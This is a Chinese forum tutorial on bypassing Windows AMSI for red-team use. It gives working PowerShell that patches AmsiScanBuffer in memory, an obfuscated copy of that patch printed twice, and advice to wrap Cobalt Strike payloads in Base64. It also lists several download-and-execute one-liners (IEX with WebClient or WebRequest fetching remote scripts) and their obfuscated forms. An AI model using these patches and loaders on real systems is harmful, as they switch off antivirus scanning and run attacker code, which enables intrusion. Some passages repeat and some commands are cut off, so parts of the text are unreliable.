深入探讨与绕过反病毒接口AMSI的浅析

0x00 前言

视频教程: https://www.bilibili.com/video/BV13L411T75i/

AMSI简介

在内网渗透或红队评估中,渗透测试者常常会遇到 AMSI 并对其功能有一定了解。AMSI 增强了对攻击中常用的一些现代工具、策略和程序(TTP)的使用保护,特别是对 PowerShell 无文件加载等攻击方式。随着越来越多的防病毒厂商接入 AMSI 防病毒接口,如何规避 AMSI 已成为红队渗透测试者不可避免的话题。

如前所述,AMSI 允许服务和应用程序与已安装的反恶意软件产品进行通信。当系统中开始创建进程或者被申请内存时,AMSI 就会介入,例如,Windows 脚本主机(WSH)和 PowerShell,以便对正在执行的内容进行检测和分析。这个过程在执行之前截获内容,并将其发送到反恶意软件解决方案。
如前所述,AMSI 允许服务和应用程序与已安装的反恶意软件产品进行通信。当系统中开始创建进程或者被申请内存时,AMSI 就会介入,例如,Windows 脚本主机(WSH)和 PowerShell,以便对正在执行的内容进行检测和分析。这个过程在执行之前截获内容,并将其发送到反恶意软件解决方案。

打开PowerShell时amsi.dll自动加载

图片[1]-深入探讨与绕过反病毒接口AMSI的浅析-山海云端论坛

0x01.字符串绕过 AMSI

AMSI 使用基于字符串的检测措施来判断 PowerShell 代码是否为恶意。以下是一些简单的绕过方法:

  1. 使用 Replace 函数替换字符串内容。
<code># 示例代码 $code = $code -replace "malicious", "safe"</code>
  1. 字符串断点 + 拼接。
<code># 示例代码 $str1 = "mal" $str2 = "icious" $malicious = $str1 + $str2</code>
  1. 手动操作,调试器附加并定位 AmsiScanBuffer 函数,通过修补函数使其直接返回。
<code># 示例代码(调试器附加) # ... # 修补 AmsiScanBuffer 函数,使其直接返回 # ...</code>

绕过 AMSI

图片[2]-深入探讨与绕过反病毒接口AMSI的浅析-山海云端论坛

0x02.通过修补 AMSI.dll 的操作码绕过 AMSI

使用 Cobalt Strike 生成一个 payload.ps1,然后使用 C# 加密器对整个 ps1 文件进行 Base64 加密。重新创建一个文件命名为 pay.ps1,将 Base64 密文插入解密代码中。然后,通过修补 amsi.dll 的操作码来破坏或劫持 amsi.dll 的代码,绕过 AMSI。

图片[3]-深入探讨与绕过反病毒接口AMSI的浅析-山海云端论坛
图片[4]-深入探讨与绕过反病毒接口AMSI的浅析-山海云端论坛
解密后的变量 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后的变量));
<code>$Win32 = @"</code><code><br></code><code>using System;</code><code><br></code><code>using System.Runtime.InteropServices;</code><code><br></code><code>public class Win32 {</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern IntPtr LoadLibrary(string name);</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);</code><code><br></code><code>}</code><code><br></code><code>"@</code><code><br></code><code>Add-Type $Win32</code><code><br></code><code>$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")</code><code><br></code><code>$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")</code><code><br></code><code>$p = 0</code><code><br></code><code>[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)</code><code><br></code><code>$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)</code><code><br></code><code>[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)</code>当然如果你怕代码被云防护标记的话,可以添加一些混淆,比如说字符串的分裂和拼接,或者转换成ASCII字符码
<code>#导入API 函数</code><code><br></code><code>$ftkgk = @"</code><code><br></code><code>using System;</code><code><br></code><code>using System.Runtime.InteropServices;</code><code><br></code><code>public class ftkgk {</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern IntPtr LoadLibrary(string name);</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr gusdon, uint flNewProtect, out uint lpflOldProtect);</code><code><br></code><code>}</code><code><br></code><code>"@</code><code><br></code><code>Add-Type $ftkgk</code><code><br></code><code>#通过 rasta-mouse 修补 amsi.dll AmsiScanBuffer</code><code><br></code><code>$lospbeo = [ftkgk]::LoadLibrary("$(('âms'+'í.d'+'ll').NOrMALiZe([cHAr](58+12)+[cHAR](111+96-96)+[cHAr](114+68-68)+[char](109+99-99)+[chAR]([bYte]0x44)) -replace [CHAr](92+22-22)+[CHaR](112)+[cHAr]([bYTE]0x7b)+[ChaR]([BYTe]0x4d)+[chAR]([byTE]0x6e)+[ChaR](125))")</code><code><br></code><code>$bhijoj = [ftkgk]::GetProcAddress($lospbeo, "$(('ÁmsìScànB'+'uffer').NOrmalizE([ChaR](70+60-60)+[chAR](111+76-76)+[chaR](114)+[char](109*69/69)+[CHAr]([ByTE]0x44)) -replace [ChaR](74+18)+[ChAR]([BYTE]0x70)+[cHAr](123)+[cHaR](77+31-31)+[CHar](110+64-64)+[Char](125+30-30))")</code><code><br></code><code>$p = 0</code><code><br></code><code>[ftkgk]::VirtualProtect($bhijoj, [uint32]5, 0x40, [ref]$p)</code><code><br></code><code>$jniv = "0xB8"</code><code><br></code><code>$kgmv = "0x57"</code><code><br></code><code>$odgn = "0x00"</code><code><br></code><code>$zalk = "0x07"</code><code><br></code><code>$cfun = "0x80"</code><code><br></code><code>$macm = "0xC3"</code><code><br></code><code>$hquzq = [Byte[]] ($jniv,$kgmv,$odgn,$zalk,+$cfun,+$macm)</code><code><br></code><code>[System.Runtime.InteropServices.Marshal]::Copy($hquzq, 0, $bhijoj, 6)</code><code><br></code><code>#导入API 函数</code><code><br></code><code>$ftkgk = @"</code><code><br></code><code>using System;</code><code><br></code><code>using System.Runtime.InteropServices;</code><code><br></code><code>public class ftkgk {</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern IntPtr LoadLibrary(string name);</code><code><br></code><code> [DllImport("kernel32")]</code><code><br></code><code> public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr gusdon, uint flNewProtect, out uint lpflOldProtect);</code><code><br></code><code>}</code><code><br></code><code>"@</code><code><br></code><code>Add-Type $ftkgk</code><code><br></code><code>#通过 rasta-mouse 修补 amsi.dll AmsiScanBuffer</code><code><br></code><code>$lospbeo = [ftkgk]::LoadLibrary("$(('âms'+'í.d'+'ll').NOrMALiZe([cHAr](58+12)+[cHAR](111+96-96)+[cHAr](114+68-68)+[char](109+99-99)+[chAR]([bYte]0x44)) -replace [CHAr](92+22-22)+[CHaR](112)+[cHAr]([bYTE]0x7b)+[ChaR]([BYTe]0x4d)+[chAR]([byTE]0x6e)+[ChaR](125))")</code><code><br></code><code>$bhijoj = [ftkgk]::GetProcAddress($lospbeo, "$(('ÁmsìScànB'+'uffer').NOrmalizE([ChaR](70+60-60)+[chAR](111+76-76)+[chaR](114)+[char](109*69/69)+[CHAr]([ByTE]0x44)) -replace [ChaR](74+18)+[ChAR]([BYTE]0x70)+[cHAr](123)+[cHaR](77+31-31)+[CHar](110+64-64)+[Char](125+30-30))")</code><code><br></code><code>$p = 0</code><code><br></code><code>[ftkgk]::VirtualProtect($bhijoj, [uint32]5, 0x40, [ref]$p)</code><code><br></code><code>$jniv = "0xB8"</code><code><br></code><code>$kgmv = "0x57"</code><code><br></code><code>$odgn = "0x00"</code><code><br></code><code>$zalk = "0x07"</code><code><br></code><code>$cfun = "0x80"</code><code><br></code><code>$macm = "0xC3"</code><code><br></code><code>$hquzq = [Byte[]] ($jniv,$kgmv,$odgn,$zalk,+$cfun,+$macm)</code><code><br></code><code>[System.Runtime.InteropServices.Marshal]::Copy($hquzq, 0, $bhijoj, 6)</code>

绕过原理

绕过的关键在于上述代码可以阻断 amsi.dll 中的 AmsiScanBuffer() 函数的扫描进程。这种方法可以百分之百绕过 AMSI。在2018年5月,CyberArk 发布了 POC 代码,通过修补 AmsiScanBuffer() 函数来绕过 AMSI。

AmsiScanBuffer 的API原型

<code>HRESULT AmsiScanBuffer(</code><code><br></code><code> HAMSICONTEXT amsiContext,</code><code><br></code><code> PVOID buffer, //缓冲区</code><code><br></code><code> ULONG length, //长度</code><code><br></code><code> LPCWSTR contentName,</code><code><br></code><code> HAMSISESSION amsiSession,</code><code><br></code><code> AMSI_RESULT *result </code><code><br></code><code>);</code>

0x03 分离免杀:抛弃 net webclient 远程加载方式(一)

首先对远程托管的 PowerShell 样本进行免杀处理,然后在客户端使用 PowerShell 脚本命令读取远程托管的样本并执行。使用 Stageless 生成较大体积的 PowerShell 样本,并进行 Base64 加密。插入破坏 amsi.dll 的代码,然后通过 WebRequest 远程加载并执行样本。

<code>$webreq = [System.Net.WebRequest]::Create(‘0.0.0.0/1.ps1’)</code><code><br></code><code>$resp=$webreq.GetResponse()</code><code><br></code><code>$respstream=$resp.GetResponseStream()</code><code><br></code><code>$reader=[System.IO.StreamReader]::new($respstream)</code><code><br></code><code>$content=$reader.ReadToEnd()</code><code><br></code><code>IEX($content)</code>

0x04 远程加载方式(二)

IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:8000/bypass.txt'.))

同样的我们可以通过Replace函数去替换字符串来混淆IP地址

IEX ((new-object net.webclient).downloadstring("http://10.@!#$%^&*()21@!#$%^&*()2
图片[5]-深入探讨与绕过反病毒接口AMSI的浅析-山海云端论坛

0x05 远程加载方式(三)

IEX([Net.Webclient]::new().DownloadString("http://0.0.0.0:8000/bypass.txt".))

这个方法和方式二类似,本质上还是用WebClient去连接服务端的方式去读取web端的样本内容。

混淆后的样本为:

IEX([Net.Webclient]::new().DownloadString("h%%%t%%%tp:%%%//10.212.2@@@@@02.188@@@@@:
图片[6]-深入探讨与绕过反病毒接口AMSI的浅析-山海云端论坛

绕过思路总结:

  1. 破坏反病毒的扫描进程或者劫持 amsi.dll 都可以有效地绕过 AMSI。amsi.dll 可以用 WinDbg 等工具进行调试,用于逆向工程、反汇编和动态分析。
  2. 使用 IEX 和 WebClient 远程加载 PowerShell 进程,虽然方式简单,但进程容易被杀死。红队人员通常会将 PowerShell 代码注入到合法的进程中,或者利用父进程欺骗以完成高权限的提升。
  3. 0x02 的加载方式相对较为稳定。每种加载方式都有其优劣之处,需要根据具体情况选择最合适的方式。
  4. 当字符串被禁用时,使用多个 Replace 函数进行混淆,以达到动态绕过的效果。

参考链接:

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容